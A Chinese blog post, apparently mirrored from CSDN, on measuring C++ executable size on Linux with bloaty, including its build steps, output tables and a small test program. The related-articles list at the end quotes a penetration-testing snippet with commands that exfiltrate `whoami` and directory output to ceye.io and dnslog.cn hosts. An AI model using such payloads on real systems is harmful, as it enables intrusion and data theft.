C++ exe程序内存占用分析之Linux篇

news2024/11/24 2:45:06
基础分析 
git clone --recursive https://github.com/google/bloaty

cd bloaty

git submodule update

mkdir build

cd build

cmake ..

make -j8

bloaty bloaty

    FILE SIZE        VM SIZE    
 --------------  --------------
  35.5%  16.9Mi   0.0%       0    .debug_info
  25.2%  12.0Mi   0.0%       0    .debug_loc
  11.2%  5.36Mi   0.0%       0    .debug_str
   6.9%  3.29Mi   0.0%       0    .debug_ranges
   5.8%  2.75Mi   0.0%       0    .debug_line
   5.2%  2.46Mi  34.0%  2.46Mi    .rodata
   4.6%  2.21Mi  30.6%  2.21Mi    .text
   0.0%       0  14.0%  1.01Mi    .bss
   1.1%   556Ki   0.0%       0    .strtab
   0.9%   441Ki   6.0%   441Ki    .data
   0.8%   395Ki   5.4%   395Ki    .rela.dyn
   0.7%   344Ki   4.7%   344Ki    .data.rel.ro
   0.7%   334Ki   0.0%       0    .debug_abbrev
   0.6%   274Ki   3.7%   274Ki    .eh_frame
   0.5%   226Ki   0.0%       0    .symtab
   0.1%  50.5Ki   0.7%  50.5Ki    .gcc_except_table
   0.1%  49.3Ki   0.7%  49.3Ki    .eh_frame_hdr
   0.1%  37.0Ki   0.0%       0    .debug_aranges
   0.0%  21.6Ki   0.3%  18.7Ki    [25 Others]
   0.0%  6.67Ki   0.0%       0    [Unmapped]
   0.0%  6.06Ki   0.1%  6.06Ki    .dynstr
 100.0%  47.7Mi 100.0%  7.22Mi    TOTA

源文件分析
bloaty bloaty -d compileunits
   FILE SIZE        VM SIZE    

 --------------  -------------- 

  37.0%  17.6Mi  48.6%  3.51Mi    [155 Others]

  15.1%  7.22Mi   3.5%   258Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/descriptor.cc

   6.5%  3.09Mi   2.9%   216Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/descriptor.pb.cc

   4.8%  2.28Mi   1.4%   100Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/text_format.cc

   4.7%  2.25Mi   5.7%   424Ki    /home/vboxuser/Desktop/bloaty/third_party/capstone/arch/ARM/ARMDisassembler.c

   3.1%  1.48Mi   1.2%  90.7Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/generated_message_reflection.cc

   2.6%  1.25Mi   0.5%  33.3Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/descriptor_database.cc

   2.4%  1.15Mi   0.9%  68.6Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/extension_set.cc

   2.3%  1.07Mi   0.4%  31.6Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/generated_message_util.cc

   0.8%   379Ki  14.6%  1.06Mi    /home/vboxuser/Desktop/bloaty/third_party/capstone/arch/M68K/M68KDisassembler.c

   2.1%  1.02Mi   0.8%  60.9Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/wire_format.cc

   2.1%  1.02Mi   1.5%   111Ki    /home/vboxuser/Desktop/bloaty/third_party/capstone/arch/AArch64/AArch64Disassembler.c

   2.0%   981Ki  11.7%   862Ki    /home/vboxuser/Desktop/bloaty/third_party/capstone/arch/X86/X86Mapping.c

   2.0%   981Ki   1.1%  79.1Ki    /home/vboxuser/Desktop/bloaty/third_party/capstone/arch/SystemZ/SystemZDisassembler.c

   2.0%   970Ki   0.5%  37.1Ki    /home/vboxuser/Desktop/bloaty/third_party/re2/re2/re2.cc

   1.9%   920Ki   0.8%  60.3Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/map_field.cc

   1.9%   920Ki   0.5%  33.3Ki    /home/vboxuser/Desktop/bloaty/third_party/re2/re2/dfa.cc

   1.8%   889Ki   1.7%   125Ki    /home/vboxuser/Desktop/bloaty/src/bloaty.cc

   1.6%   788Ki   0.5%  33.7Ki    /home/vboxuser/Desktop/bloaty/third_party/re2/re2/regexp.cc

   1.6%   781Ki   0.7%  51.4Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/repeated_field.cc

   1.6%   766Ki   0.5%  37.9Ki    /home/vboxuser/Desktop/bloaty/third_party/protobuf/src/google/protobuf/message.cc

 100.0%  47.7Mi 100.0%  7.22Mi    TOTAL

测试

#include <iostream>
 
const char* data = "而此时是ii四十九而此时是ii四十九而此时是ii四十九而此时是ii四十九而此时是ii四十九而此时是ii四十九而此时是ii四十九而此时是ii四十九而此时是ii四十九而此时是ii四十九";
 
int main() {
	printf("test main\n");
}
g++ -g main.cpp -o mytest
bloaty mytest -d compileunits
   FILE SIZE        VM SIZE    

 --------------  -------------- 

  56.9%  21.6Ki  16.6%     609    main.cpp

  22.2%  8.46Ki   0.0%       0    [Unmapped]

   5.9%  2.25Ki   0.0%       0    [ELF Section Headers]

   4.1%  1.57Ki   0.0%       0    [section .symtab]

   1.9%     728  19.9%     728    [ELF Program Headers]

   1.5%     603   0.0%       0    [section .strtab]

   1.3%     512  14.0%     512    [section .dynamic]

   1.0%     394   9.2%     335    [16 Others]

   0.9%     346   0.0%       0    [section .shstrtab]

   0.6%     247   6.7%     247    [section .rodata]

   0.6%     240   6.6%     240    [section .dynsym]

   0.6%     233   6.4%     233    [section .text]

   0.6%     229   6.3%     229    [section .dynstr]

   0.4%     152   0.0%       0    

   0.3%     136   3.7%     136    [section .eh_frame]

   0.2%      88   2.4%      88    [section .got]

   0.2%      80   2.2%      80    [section .gnu.version_r]

   0.2%      64   1.7%      64    [ELF Header]

   0.2%      64   1.7%      64    [section .plt]

   0.1%      48   1.3%      48    [section .note.gnu.property]

   0.1%      48   1.3%      48    [section .plt.sec]

 100.0%  38.0Ki 100.0%  3.58Ki    TOTAL

 参考

C++ exe程序内存占用分析-CSDN博客 


创作不易,小小的支持一下吧!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987179.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录27期|Python|Day38|509斐波那契|738.爬楼梯|746.746. 使用最小花费爬楼梯

贴一下动态规划的步骤&#xff08;5步&#xff09;&#xff0c;就像是之前递归一样&#xff0c;需要每次落实到位。 确定dp数组&#xff08;dp table&#xff09;以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 ​​​​​509. 斐波那契 注意到n的范…

WEB渗透Web突破篇-命令执行

命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…

在网页上进行 3D 产品展示的开发需要用到哪些器材和技术?

问题补充&#xff1a; 3D产品展示就是根据用户输入的数据&#xff0c;比如身高&#xff0c;体重&#xff0c;爱好等等的信息在网页上形成一个3D的人体模型&#xff0c;并根据网站的数据库自动为用户挑选合适的衣服并展示在生成的3D模型上。 在网页上进行3D产品展示的开发&…

在idea中将JDK17换成JDK8

五步&#xff1a;&#xff08;改五个地方&#xff09; pom文件&#xff1a; 1&#xff1a;SpringBoot版本改成2.多 2&#xff1a;jdk版本改成8 3&#xff1a;蓝框中的数字改成1.8. 4&#xff1a;SDK改成1.8 5&#xff1a;红框内数字改成8

gin-vue-admin框架遇到AxiosError:Network Error怎么解决?

flipped-aurora/gin-vue-admin: &#x1f680;ViteVue3Gin的开发基础平台&#xff0c;支持TS和JS混用。它集成了JWT鉴权、权限管理、动态路由、显隐可控组件、分页封装、多点登录拦截、资源权限、上传下载、代码生成器【可AI辅助】、表单生成器和可配置的导入导出等开发必备功能…

HTML5+CSS3笔记(Xmind格式):第三天

Xmind鸟瞰图&#xff1a; 简单文字总结&#xff1a; 过渡 transition: 过渡属性 过渡时间 运动曲线 何时开始 2D变形transform &#xff1a; 1.平移&#xff1a;translate(单位px) 2.缩放&#xff1a;scale(默认1&#xff0c;大于1放大&#xff0c;小于1缩小) 3…

Laravel 使用Excel导出的文件中,指定列数据格式为日期,方便后期的数据筛选操作

背景 最近&#xff0c;后台运维要求导出的 Excel文件&#xff0c;对于时间的筛选&#xff0c;能满足年份、月份的选择 通过了解&#xff0c;发现&#xff1a; 先前导出的文件&#xff0c;默认列数据都是字符串&#xff08;文本&#xff09;格式 同时&#xff0c;因为用的是 Lar…

H3C MSR NAT66配置指北

正文共&#xff1a;1456 字 14 图&#xff0c;预估阅读时间&#xff1a;1 分钟 通过前面的介绍&#xff08;企业路由器配置IPv6家用宽带的PPPoE拨号示例&#xff09;&#xff0c;想必你已经可以实现让MSR路由器通过PPPoE拨号接入IPv6网络。 正常来讲&#xff0c;通过前面的配置…

PLSQL 无客户端连接服务器设置

文章目录 1 概述1.1 使用场景 2 步骤2.1 下载 PLSQL 客户端2.2 观察 工具-首选项-OCI库&#xff08;自动检测为空&#xff09;2.3 下载 instantclient2.4 配置环境变量2.5 配置 PLSQL 3 测试 1 概述 1.1 使用场景 场景&#xff1a;只需要连接服务器上的 Oracle&#xff0c;而…

C++:多态二

在面向对象方法中&#xff0c;所谓多态性就是不同对象收到相同消息&#xff0c;产生不同的行为。在C程序设计中&#xff0c;多态性是指用一个名字定义不同的函数&#xff0c;这些函数执行不同但又类似的操作&#xff0c;这样就可以用同一个函数名调用不同内容的函数。换言之&am…

虚拟机ubuntu22.04找不到ttyUSB*端口

问题描述&#xff1a; 在虚拟机上运行Ubuntu22.04&#xff0c;使用 ls /dev/ttyUSB* 发现查不着不到相关的端口文件。 排查问题及解决办法&#xff1a; 问题1&#xff1a;排查数据线是否只是单纯的充电线&#xff0c;单纯充电线无法进行数据传输&#xff0c;需要替换为数据…

怎么申请IP SSL证书?

申请 IP SSL 证书的过程通常涉及以下几个步骤。下面是一个概括性的指南&#xff0c;具体细节可能会根据不同的证书颁发机构&#xff08;CA&#xff09;而有所不同。以下步骤是基于 JoySSL 的流程&#xff0c;但大部分 CA 的申请流程都会有类似的要求&#xff1a; 1、确认IP地址…

介绍一个基于Ring 3 的rootkit

首先先科普用户态内核态 两者的在指令上的区别 一般来说&#xff0c;ring0权限下开放的指令有&#xff1a;IO读写、网卡访问、申请内存、访问硬件资源。 一般来说&#xff0c;ring3权限下开放的指令有&#xff1a;普通的计算指令等 两者在空间权限的区别 用户态和内核态…

装修装饰行业4G/5G无线视频监控技术方案

目录 一、引言 二、技术优势 三、系统方案设计 1、系统架构 2、监控前端 3、监控中心 四、系统功能 1、基本功能 &#xff08;1&#xff09;实时视频监控 &#xff08;2&#xff09;录像存储回放 &#xff08;3&#xff09;报警联动 &#xff08;4&#xff09;语音…

超越sd3!比肩Midjourney-v6?AI绘画大模型FLUX1.0详细评测与本地部署方法(附安装文件)

​ FLUX.1模型是什么&#xff1f; FLUX模型是一个开源的AI图像生成模型&#xff0c;由黑森林工作室研发。 堪比sd3以及Midjourney-v6 背景/backdrop 黑森林工作室&#xff08;Black Forest Labs&#xff09;由前Stability AI核心成员团队成立&#xff0c;专注于开发高级生成式…

脚本:自动生成精准的Oracle AWR报告

很多朋友把AWR报告发过来让我帮忙分析Oracle数据库的性能&#xff0c;但很多报告都有一个共同的缺陷&#xff1a;就是这些报告覆盖的时间范围太广&#xff0c;导致性能问题的数据被严重稀释。 英文原文&#xff1a;Script: Generating Focused AWR Reports 为了解决这个问题&a…

多模态大模型 intern_vl 2.0版本解读

目录 更大规模的语言模型 多模态输入 多任务输出 性能表现 github:GitHub - OpenGVLab/InternVL: [CVPR 2024 Oral] InternVL Family: A Pioneering Open-Source Alternative to GPT-4o. 接近GPT-4o表现的可商用开源多模态对话模型 论文&#xff1a;https://arxiv.org/pdf…

TypeScript循环2

循环2 for(开始条件&#xff0c;结束条件&#xff0c;变量更新){} for使程序能够重复执行某段代码&#xff0c;直至满足特定条件为至。 // 打印1~100for(let i:number0;i<100;i){console.log(i);}死循环,程序中要避免出现 即使需要你使用&#xff0c;也需要有退出条件 …

Windows系统cmd黑窗口cd命令不起作用的解决办法

一般这种情况是通过win r 输入cmd唤起得窗口是在c盘&#xff0c;而想切换到其他磁盘目录却发现命令并不生效&#xff0c;例如&#xff1a; 解决的办法就是先切换磁盘&#xff0c;再cd到文件夹目录&#xff0c;比如我切换到E盘&#xff0c;就是E&#xff1a; 然后再cd目标目录…

探索Linux世界之Linux环境开发工具的使用

一、yum -- Linux软件包管理器 1、什么是yum yum(Yellow dog Updater, Modified)&#xff1a; 是Linux下非常常用的一种包管理器. 主要应用在Fedora, RedHat, Centos等发行版上。 在Linux上安装软件的方式&#xff1a; 源代码直接安装&#xff1a;在Linux下安装软件, 一个通…